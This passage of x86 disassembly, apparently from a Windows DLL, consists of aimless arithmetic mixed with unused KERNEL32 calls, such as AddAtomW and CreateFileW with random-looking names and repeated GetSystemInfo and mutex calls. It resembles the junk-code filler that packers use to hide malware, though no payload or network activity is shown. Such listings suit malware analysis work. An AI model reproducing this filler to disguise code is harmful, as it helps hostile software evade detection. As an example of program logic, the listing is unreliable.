mov dword [0x100bb43c], eax
movsx edx, byte [ebp - 0x2a4]
mov eax, dword [ebp - 0x3bb8]
movsx ecx, byte [eax]
sar edx, cl
mov ecx, dword [0x100b96ec]
mov byte [ecx], dl
mov dword [ebp - 0x4b3c], 0x100ba5c4
mov edx, dword [ebp - 0x3950]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x128c]
imul eax, ecx
mov word [ebp - 0xfa4], ax
mov edx, dword [0x100bae44]
mov eax, dword [edx]
xor eax, dword [ebp - 0x2cb8]
mov ecx, dword [0x100b9d54]
mov dword [ecx], eax
lea edx, [ebp - 0xb320]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
push 0
push 0x3b2e
push 0x12ce
push 0xd
mov eax, dword [0x100b97fc]
push eax
call dword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [ebp - 0x4b40], eax
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [0x100bb440], eax
lea ecx, [ebp - 0x1250]
mov dword [ebp - 0x4b44], ecx
push 0x812
push 0
lea edx, [ebp - 0x3d00]
push edx
push 1
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [ebp - 0x3708], eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x100bae64], eax
movzx eax, byte [ebp - 0x197]
mov ecx, dword [ebp - 0x4afc]
movzx edx, byte [ecx]
add eax, edx
mov ecx, dword [ebp - 0x4994]
mov byte [ecx], al
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [ebp - 0x4b48], eax
movzx edx, word [0x100baea4]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100bb444], ax
mov dword [0x100bb448], 0x100bade0
push 0
push 0x100
push 1
push 0
push 1
push 0xc0000000
push str.lkjGaSIzIX
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x4b4c], eax
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [ebp - 0x44ec], eax
lea eax, [ebp - 0x267]
mov dword [ebp - 0x4b50], eax
mov ecx, dword [ebp - 0x4834]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x478c]
movzx ecx, word [eax]
or edx, ecx
mov word [ebp - 0x834], dx
lea edx, [ebp - 0x1478]
mov dword [0x100bb44c], edx
movsx eax, byte [0x100b71f7]
mov ecx, dword [ebp - 0x46e8]
movsx edx, byte [ecx]
and eax, edx
mov ecx, dword [ebp - 0x4338]
mov byte [ecx], al
mov edx, dword [0x100b997c]
mov eax, dword [ebp - 0x2df8]
sub eax, dword [edx]
mov ecx, dword [0x100babb4]
mov dword [ecx], eax
mov dx, word [ebp - 0x6e4]
mov word [ebp - 0x1714], dx
push 0x100b9d78
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
push 0
push 0x100b9ce8
mov eax, dword [ebp - 0x98d0]
push eax
mov ecx, dword [ebp - 0x98d4]
push ecx
mov edx, dword [ebp - 0x3eb4]
push edx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [0x100bb450], eax
movzx eax, word [0x100bb2b8]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x1718], ax
lea ecx, [ebp - 0x247]
mov dword [ebp - 0x4b54], ecx
mov edx, dword [0x100ba728]
mov ecx, dword [ebp - 0x2dc0]
shl edx, cl
mov eax, dword [0x100ba0b8]
mov dword [eax], edx
mov ecx, dword [ebp - 0x4a70]
movzx edx, word [ecx]
movzx ecx, word [ebp - 0x11a8]
sar edx, cl
mov word [ebp - 0x1490], dx
mov eax, dword [ebp - 0x4410]
mov ecx, dword [0x100b9c64]
mov edx, dword [eax]
add edx, dword [ecx]
mov eax, dword [ebp - 0x461c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x35ac]
mov dx, word [ecx]
mov word [0x100bb454], dx
movzx eax, word [ebp - 0x1380]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100bb458], ax
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [0x100b993c], eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [ebp - 0x4b58], eax
mov dword [ebp - 0x4b5c], 0x100b72e8
mov ecx, dword [ebp - 0x3bd0]
push ecx
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [0x100bb45c], eax
mov edx, dword [ebp - 0x4af0]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x2b]
and eax, ecx
mov byte [ebp - 0x11d], al
mov edx, dword [ebp - 0x3e98]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x4728]
movsx edx, byte [ecx]
xor eax, edx
mov ecx, dword [0x100b959c]
mov byte [ecx], al
lea edx, [ebp - 0x17c]
mov dword [ebp - 0x4b60], edx
lea eax, [ebp - 0x469c]
mov dword [ebp - 0x4b64], eax
lea ecx, [ebp - 0x21a]
mov dword [0x100bb460], ecx
mov edx, dword [ebp - 0x42a8]
push edx
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov eax, dword [ebp - 0x452c]
movsx ecx, word [eax]
movsx edx, word [ebp - 0x169c]
or ecx, edx
mov word [ebp - 0x1250], cx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x100bb464], eax
movzx eax, word [ebp - 0x84c]
mov ecx, dword [ebp - 0x45d0]
movzx edx, word [ecx]
xor eax, edx
mov word [ebp - 0x1558], ax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x100ba53c], eax
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [ebp - 0x4b68], eax
mov dword [0x100bb468], 0x100ba484
lea eax, [ebp - 0xb344]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov dword [ebp - 0x4b6c], 0x100b7133
mov edx, dword [ebp - 0x44d8]
mov ecx, dword [ebp - 0x3458]
shl edx, cl
mov eax, dword [ebp - 0x44f4]
mov dword [eax], edx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x100ba334], eax
push str.ZypbO_Zb
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100bb46c], ax
movzx edx, byte [ebp - 0x26d]
mov eax, dword [ebp - 0x482c]
movzx ecx, byte [eax]
sar edx, cl
mov byte [0x100b7efb], dl
mov dword [ebp - 0x4b70], 0x100b7268
movzx ecx, word [ebp - 0x13bc]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x171c], ax
lea edx, [ebp - 0x1574]
mov dword [ebp - 0x4b74], edx
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [0x100b9ab0], eax
mov eax, dword [ebp - 0x3d44]
movsx ecx, byte [eax]
movsx edx, byte [ebp - 0xf0]
add ecx, edx
mov byte [str.mmO], cl
lea eax, [ebp - 0xb050]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x100bb470], eax
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [0x100bb474], eax
mov ecx, dword [ebp - 0x39f8]
movzx edx, word [ecx]
mov eax, dword [0x100b9edc]
movzx ecx, word [eax]
and edx, ecx
mov word [ebp - 0xf9c], dx
mov edx, dword [ebp - 0x4a14]
mov eax, dword [edx]
imul eax, dword [ebp - 0x2db8]
mov ecx, dword [ebp - 0x3770]
mov dword [ecx], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebp - 0x3694], eax
mov edx, dword [ebp - 0x3928]
mov eax, dword [ebp - 0x3dfc]
mov ecx, dword [edx]
xor ecx, dword [eax]
mov dword [0x100b9dd4], ecx
lea edx, [ebp - 0x290]
mov dword [ebp - 0x4b78], edx
push 0x1977
push 0
push 0x100b99bc
push 1
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [ebp - 0x4b7c], eax
mov ax, word [0x100ba0e4]
mov word [ebp - 0x1720], ax
mov ecx, dword [ebp - 0x4128]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0x262]
xor edx, eax
mov ecx, dword [0x100ba79c]
mov byte [ecx], dl
lea edx, [ebp - 0x9fe8]
push edx
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x100bb478], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x4764], eax
movzx eax, word [ebp - 0xab4]
movzx ecx, word [ebp - 0x11cc]
add eax, ecx
mov word [ebp - 0x13f0], ax
mov dword [ebp - 0x4b80], 0x100b72f8
movzx edx, word [0x100bb2b4]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100bb47c], ax
mov eax, dword [ebp - 0x3188]
mov dword [0x100bb480], eax
mov ecx, dword [0x100bac38]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x3c94]
movzx ecx, byte [eax]
sub edx, ecx
mov byte [ebp - 0x2b], dl
mov edx, dword [ebp - 0x3fcc]
push edx
call dword [sym.imp.KERNEL32.dll_ResetEvent]
push 0x100a8590
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x1724], ax
mov eax, dword [0x100b9ab4]
movsx ecx, byte [eax]
mov edx, dword [0x100ba79c]
movsx eax, byte [edx]
or ecx, eax
mov edx, dword [ebp - 0x486c]
mov byte [edx], cl
movsx eax, word [ebp - 0xe20]
movsx ecx, word [ebp - 0x15d4]
shl eax, cl
mov ecx, dword [0x100ba1c4]
mov word [ecx], ax
movzx edx, word [0x100b962c]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x1538], ax
mov eax, dword [0x100b9d90]
movzx edx, word [eax]
movzx ecx, word [ebp - 0x4d8]
sar edx, cl
mov word [ebp - 0xafc], dx
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [0x100bb484], eax
mov eax, dword [ebp - 0x48f8]
mov ecx, dword [eax]
mov dword [ebp - 0x4b84], ecx
movzx edx, word [0x100ba760]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x1728], ax
mov dword [0x100bb488], 0x100b7142
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x3e8c], eax
mov eax, dword [ebp - 0x3f64]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0x91]
and ecx, edx
mov byte [ebp - 0x294], cl
push 0x100bb48c
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
push 0x100bb0c8
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [ebp - 0x4b88], eax
mov eax, dword [0x100b9a7c]
mov ecx, dword [0x100b95f8]
mov edx, dword [eax]
add edx, dword [ecx]
mov dword [ebp - 0x3134], edx
push str.rbw_Z5Uycc
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100bb4a4], ax
mov eax, dword [ebp - 0x3660]
mov cx, word [eax]
mov word [0x100bb4a8], cx
mov edx, dword [ebp - 0x3a30]
movsx eax, word [edx]
mov ecx, dword [0x100b9bac]
movsx edx, word [ecx]
and eax, edx
mov ecx, dword [ebp - 0x453c]
mov word [ecx], ax
mov edx, dword [0x100baae8]
mov eax, dword [ebp - 0x3b58]
mov edx, dword [edx]
mov ecx, dword [eax]
sar edx, cl
mov dword [ebp - 0x3838], edx
mov eax, dword [0x100baf84]
movsx edx, byte [eax]
mov eax, dword [ebp - 0x37b8]
movsx ecx, byte [eax]
shl edx, cl
mov ecx, dword [0x100baab8]
mov byte [ecx], dl
mov dword [ebp - 0x4b8c], 0x100b82e2
movzx edx, word [ebp - 0x16b0]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x172c], ax
movzx eax, word [ebp - 0x8a8]
movzx ecx, word [0x100b7260]
or eax, ecx
mov edx, dword [ebp - 0x4200]
mov word [edx], ax
push 0x100ba2e0
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [ebp - 0x4b90], eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x100bb4ac], eax
push 0x100bac18
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
push 0xd19
push 0
lea eax, [ebp - 0x3b9c]
push eax
push 1
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [0x100bb4b0], eax
push 1
push 0x100ba308
mov ecx, dword [0x100ba7b4]
push ecx
mov edx, dword [0x100ba7b0]
push edx
mov eax, dword [ebp - 0x4154]
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [ebp - 0x4b94], eax
movzx ecx, word [ebp - 0xe94]
imul edx, ecx, 0xea1
mov word [0x100b7428], dx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [ebp - 0x4b98], eax
lea eax, [ebp - 0x3e80]
mov dword [ebp - 0x4b9c], eax
push 0xc56
push 0xb45
push 0x1b22
push 0xcbd
mov ecx, dword [ebp - 0x4a1c]
push ecx
call dword [sym.imp.KERNEL32.dll_LockFile]
mov dword [0x100bab70], eax
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [ebp - 0x4ba0], eax
movsx edx, word [ebp - 0x125c]
movsx eax, word [ebp - 0xa44]
xor edx, eax
mov word [ebp - 0xdb4], dx
push str.nYg.z
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100bb4b4], ax
mov ecx, dword [ebp - 0x4798]
mov esi, dword [ebp - 0x3794]
mov eax, dword [ecx]
cdq
idiv dword [esi]
mov dword [0x100ba778], eax
mov dl, byte [ebp - 0x229]
mov byte [ebp - 0x2fb], dl
push 0x5be
mov eax, dword [ebp - 0x3854]
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [0x100bae74], eax
lea ecx, [ebp - 0x2bc]
mov dword [0x100bb4b8], ecx
mov edx, dword [0x100b9c30]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x36e4]
movzx edx, word [ecx]
add eax, edx
mov word [ebp - 0x654], ax
mov eax, dword [ebp - 0x399c]
mov ecx, dword [eax]
and ecx, dword [ebp - 0x2b2c]
mov dword [ebp - 0x3214], ecx
push str.DRtuJ8_Lq7VJCE_Lr_I
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100bb4bc], ax
mov edx, dword [0x100b98e8]
mov eax, dword [ebp - 0x4004]
mov ecx, dword [edx]
shr eax, cl
mov ecx, dword [0x100b9d54]
mov dword [ecx], eax
mov edx, dword [0x100b96a8]
movsx eax, word [edx]
mov ecx, dword [ebp - 0x3ecc]
movsx edx, word [ecx]
xor eax, edx
mov ecx, dword [ebp - 0x4998]
mov word [ecx], ax
lea edx, [ebp - 0x2ea]
mov dword [ebp - 0x4ba4], edx
mov eax, dword [0x100babcc]
mov cl, byte [eax]
mov byte [0x100b83c2], cl
lea edx, [ebp - 0x2e9]
mov dword [ebp - 0x4ba8], edx
mov eax, dword [ebp - 0x4648]
mov ecx, dword [ebp - 0x4708]
sub ecx, dword [eax]
mov dword [ebp - 0x3ffc], ecx
movzx edx, word [ebp - 0x1168]
movzx ecx, word [ebp - 0x10d4]
shl edx, cl
mov word [0x100b7414], dx
lea eax, [ebp - 0xf2c]
mov dword [ebp - 0x4bac], eax
mov ecx, dword [0x100b9ea8]
mov edx, dword [ebp - 0x446c]
mov eax, dword [ecx]
or eax, dword [edx]
mov ecx, dword [ebp - 0x4120]
mov dword [ecx], eax
movzx edx, byte [ebp - 0x2ad]
movzx eax, byte [ebp - 0x2cc]
add edx, eax
mov byte [0x100b72ab], dl
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [ebp - 0x4bb0], eax
mov ecx, dword [ebp - 0x3f88]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0x120]
and edx, eax
mov byte [ebp - 0xa5], dl
lea ecx, [ebp - 0x327c]
mov dword [ebp - 0x4bb4], ecx
mov edx, dword [ebp - 0x36c8]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x9e4]
xor eax, ecx
mov word [0x100b742c], ax
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [ebp - 0x3b14], eax
mov edx, dword [ebp - 0x47d0]
mov ax, word [edx]
mov word [ebp - 0x1730], ax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x100bb4c0], eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x100bb310], eax
mov ecx, dword [ebp - 0x4a4c]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x4974]
movzx ecx, word [eax]
sar edx, cl
mov word [ebp - 0x11a0], dx
lea ecx, [ebp - 0x2a3]
mov dword [0x100bb4c4], ecx
mov edx, dword [0x100b9ea8]
mov eax, dword [ebp - 0x385c]
mov ecx, dword [edx]
xor ecx, dword [eax]
mov dword [ebp - 0x2ec4], ecx
mov edx, dword [ebp - 0x491c]
mov ecx, dword [ebp - 0x2db0]
shl edx, cl
mov dword [ebp - 0x30f0], edx
movsx eax, byte [ebp - 0x2b9]
mov ecx, dword [ebp - 0x3b00]
movsx edx, byte [ecx]
add eax, edx
mov ecx, dword [0x100b98b8]
mov byte [ecx], al
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [ebp - 0x35c0], eax
push str.TvbPJc4O.OcjA5zC8rr3_NZ8f9jPY
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x1734], ax
mov edx, dword [0x100b9830]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x4418]
movzx edx, word [ecx]
and eax, edx
mov word [ebp - 0xc88], ax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x100bb4c8], eax
movsx eax, word [ebp - 0x1248]
movsx ecx, word [ebp - 0x150c]
or eax, ecx
mov edx, dword [ebp - 0x3b84]
mov word [edx], ax
movzx eax, word [0x100b9f0c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x116c], ax
mov ecx, dword [ebp - 0x4a20]
movsx edx, byte [ecx]
movsx ecx, byte [ebp - 0x1f4]
sar edx, cl
mov eax, dword [0x100baa50]
mov byte [eax], dl
mov ecx, dword [ebp - 0x3740]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0xa3]
xor edx, eax
mov ecx, dword [ebp - 0x4af0]
mov byte [ecx], dl
lea edx, [ebp - 0x2af0]
mov dword [ebp - 0x4bb8], edx
mov eax, dword [ebp - 0x3714]
mov ecx, dword [ebp - 0x3838]
add ecx, dword [eax]
mov dword [0x100b7430], ecx
mov edx, dword [0x100ba510]
push edx
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
movsx eax, byte [ebp - 0xa4]
movsx ecx, byte [ebp - 0xbb]
and eax, ecx
mov edx, dword [ebp - 0x372c]
mov byte [edx], al
mov eax, dword [ebp - 0x3fb0]
mov cx, word [eax]
mov word [ebp - 0x1738], cx
movsx edx, word [ebp - 0x16b8]
mov eax, dword [ebp - 0x3840]
movsx ecx, word [eax]
sub edx, ecx
mov word [0x100b7254], dx
mov edx, dword [ebp - 0x4790]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x3c30]
movzx ecx, byte [ecx]
shl eax, cl
mov byte [ebp - 0x21], al
push 0
push 0x20
push 0
push 0
push 2
push 0x80000000
push str.i0EqWSc8P9hDG7yT3x1
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x4bbc], eax
mov edx, dword [ebp - 0x40e4]
mov eax, dword [edx]
or eax, dword [ebp - 0x36b0]
mov ecx, dword [ebp - 0x3aa0]
mov dword [ecx], eax
mov dx, word [ebp - 0x1464]
mov word [0x100bb4cc], dx
mov eax, dword [0x100b7238]
mov dword [ebp - 0x4bc0], eax
movsx edx, byte [ebp - 0xb5]
movsx ecx, byte [ebp - 0x261]
sar edx, cl
mov byte [ebp - 0x89], dl
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x4bc4], eax
push str.U_NEQzW
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100bb4d0], ax
mov eax, dword [0x100ba1c4]
movsx ecx, word [eax]
movsx edx, word [ebp - 0x15d4]
add ecx, edx
mov eax, dword [0x100ba870]
mov word [eax], cx
mov ecx, dword [ebp - 0x3344]
push ecx
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov edx, dword [0x100bb16c]
movzx eax, byte [edx]
movzx ecx, byte [0x100b712e]
and eax, ecx
mov edx, dword [ebp - 0x3618]
mov byte [edx], al
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [0x100bb4d4], eax
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [ebp - 0x4bc8], eax
movzx eax, word [0x100bac84]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100bb4d8], ax
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x4228], eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x100bb2bc], eax
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x3e5c], eax
push 0x100bb4dc
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov ecx, dword [ebp - 0x4a48]
mov edx, dword [ecx]
mov dword [ebp - 0x4bcc], edx
lea eax, [ebp - 0x270]
mov dword [0x100bb500], eax
lea ecx, [ebp - 0x11a8]
mov dword [ebp - 0x4bd0], ecx
mov edx, dword [ebp - 0x4430]
movzx eax, word [edx]
mov ecx, dword [0x100bb238]
movzx ecx, word [ecx]
shl eax, cl
mov edx, dword [ebp - 0x3e30]
mov word [edx], ax
mov eax, dword [ebp - 0x41c8]
xor eax, dword [ebp - 0x4938]
mov dword [0x100b7248], eax
push 0
push 0x40
push 4
push 0
push 4
push 0xc0000000
push str.SxGkCuOus01Zx_aJG6kHcT9Wwt10A7
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x4bd4], eax
mov dword [ebp - 0x4bd8], 0x100b9888
lea ecx, [ebp - 0x9e08]
push ecx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
movzx edx, byte [ebp - 0x274]
movzx eax, byte [ebp - 0x291]
add edx, eax
mov ecx, dword [ebp - 0x4414]
mov byte [ecx], dl
movzx edx, word [0x100ba5bc]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100ba1d4], ax
mov eax, dword [0x100bb088]
mov ecx, dword [eax]
mov dword [0x100bb504], ecx
movsx edx, byte [ebp - 0xcf]
movsx ecx, byte [ebp - 0x2ea]
sar edx, cl
mov byte [ebp - 0x17f], dl
mov eax, dword [ebp - 0x4418]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x46f4]
movzx eax, word [edx]
or ecx, eax
mov word [ebp - 0x538], cx
mov ecx, dword [0x100ba898]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x3d08]
movzx ecx, word [eax]
and edx, ecx
mov eax, dword [0x100b9830]
mov word [eax], dx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [ebp - 0x4bdc], eax
push 0
push 2
push 4
push 0
push 1
push 0x80000000
push str.p2l_aAZh1kDgSRRjiWx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x4be0], eax
lea ecx, [ebp - 0x1ab]
mov dword [ebp - 0x4be4], ecx
mov edx, dword [ebp - 0x33fc]
imul eax, dword [edx], 0xd75
mov dword [0x100b7434], eax
movsx ecx, word [0x100b72a8]
movsx edx, word [ebp - 0x584]
xor ecx, edx
mov word [ebp - 0x146c], cx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x100bb508], eax
movzx eax, byte [ebp - 0x1dc]
mov ecx, dword [0x100ba394]
movzx edx, byte [ecx]
sub eax, edx
mov ecx, dword [ebp - 0x420c]
mov byte [ecx], al
mov edx, dword [0x100b9f28]
mov eax, dword [ebp - 0x3f08]
mov ecx, dword [edx]
shl eax, cl
mov dword [0x100b97f8], eax
movzx ecx, word [0x100badac]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x148c], ax
lea edx, [ebp - 0xb368]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
lea eax, [ebp - 0xfa4]
mov dword [ebp - 0x4be8], eax
mov ecx, dword [ebp - 0x46ec]
mov edx, dword [ecx]
add edx, dword [ebp - 0x2e9c]
mov eax, dword [ebp - 0x49d0]
mov dword [eax], edx
lea ecx, [ebp - 0x1550]
mov dword [0x100bb50c], ecx
mov edx, dword [0x100b9fb4]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x468c]
shr eax, cl
mov dword [ebp - 0x2bf8], eax
mov ecx, dword [0x100bb4c4]
movzx edx, byte [ecx]
movzx eax, byte [0x100b8136]
and edx, eax
mov byte [ebp - 0x1dc], dl
mov ecx, dword [ebp - 0x3538]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x3be0]
movsx ecx, byte [eax]
or edx, ecx
mov byte [str.i3], dl
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x100bb510], eax
mov dl, byte [ebp - 0x181]
mov byte [ebp - 0x2fc], dl
mov eax, dword [ebp - 0x4958]
mov ecx, dword [0x100b7358]
xor ecx, dword [eax]
mov edx, dword [ebp - 0x4658]
mov dword [edx], ecx
mov eax, dword [ebp - 0x42d4]
movzx ecx, byte [eax]
movzx edx, byte [0x100b813a]
add ecx, edx
mov byte [0x100b72c7], cl
lea eax, [ebp - 0x540]
mov dword [ebp - 0x4bec], eax
lea ecx, [ebp - 0x1100]
mov dword [ebp - 0x4bf0], ecx
mov edx, dword [ebp - 0x389c]
mov eax, dword [edx]
mov dword [0x100bb514], eax
push 2
lea ecx, [ebp - 0x9824]
push ecx
mov edx, dword [0x100bb51c]
push edx
mov eax, dword [0x100bb518]
push eax
mov ecx, dword [ebp - 0x4a10]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [0x100bad58], eax
mov edx, dword [0x100bae58]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x2fb]
shl eax, cl
mov ecx, dword [ebp - 0x44b8]
mov byte [ecx], al
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [ebp - 0x4bf4], eax
mov edx, dword [ebp - 0x366c]
mov eax, dword [edx]
mov dword [ebp - 0x4bf8], eax
push 0x100ba088
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [ebp - 0x4278], eax
push 0x100a86d4
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100bb520], ax
mov ecx, dword [ebp - 0x3c1c]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x4994]
movzx ecx, byte [eax]
and edx, ecx
mov eax, dword [0x100b9598]
mov byte [eax], dl
movzx edx, word [ebp - 0xe94]
mov eax, dword [ebp - 0x3e84]
movzx ecx, word [eax]
sar edx, cl
mov word [ebp - 0x1184], dx
movsx ecx, word [0x100bad48]
mov edx, dword [ebp - 0x3ea4]
movsx eax, word [edx]
xor ecx, eax
mov word [ebp - 0xce8], cx
lea ecx, [ebp - 0x2ef]
mov dword [0x100bb524], ecx
movzx edx, word [ebp - 0x1334]
movzx eax, word [ebp - 0x15b0]
add edx, eax
mov word [ebp - 0x14b4], dx
mov ecx, dword [ebp - 0x2b78]
or ecx, dword [ebp - 0x3270]
mov dword [ebp - 0x319c], ecx
mov edx, dword [0x100b740c]
and edx, dword [ebp - 0x2b48]
mov eax, dword [0x100ba958]
mov dword [eax], edx
mov ecx, dword [0x100bad10]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x192]
sub edx, eax
mov ecx, dword [ebp - 0x3f64]
mov byte [ecx], dl
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x100b9a14], eax
lea edx, [ebp - 0xb38c]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x100bb528], eax
movsx eax, word [0x100baa10]
movsx ecx, word [ebp - 0x1360]
shl eax, cl
mov word [ebp - 0xe34], ax
lea ecx, [ebp - 0x282]
mov dword [0x100bb52c], ecx
mov edx, dword [ebp - 0x3c60]
mov ax, word [edx]
mov word [ebp - 0x173c], ax
mov ecx, dword [0x100bb25c]
mov dword [ebp - 0x4bfc], ecx
mov edx, dword [0x100b7280]
mov ecx, dword [ebp - 0x46a4]
shr edx, cl
mov dword [0x100ba468], edx
push 0x120b
mov eax, dword [ebp - 0x4234]
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [0x100bb530], eax
mov ecx, dword [ebp - 0x45cc]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x2b5]
xor edx, eax
mov ecx, dword [ebp - 0x4610]
mov byte [ecx], dl
push 0
push 0x200
push 5
push 0
push 1
push 0xc0000000
push 0x100a86d8
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x4c00], eax
push 0
push 0x3b41
push 0x1b3e
push 0x1b2
push 2
mov edx, dword [0x100bb2a0]
push edx
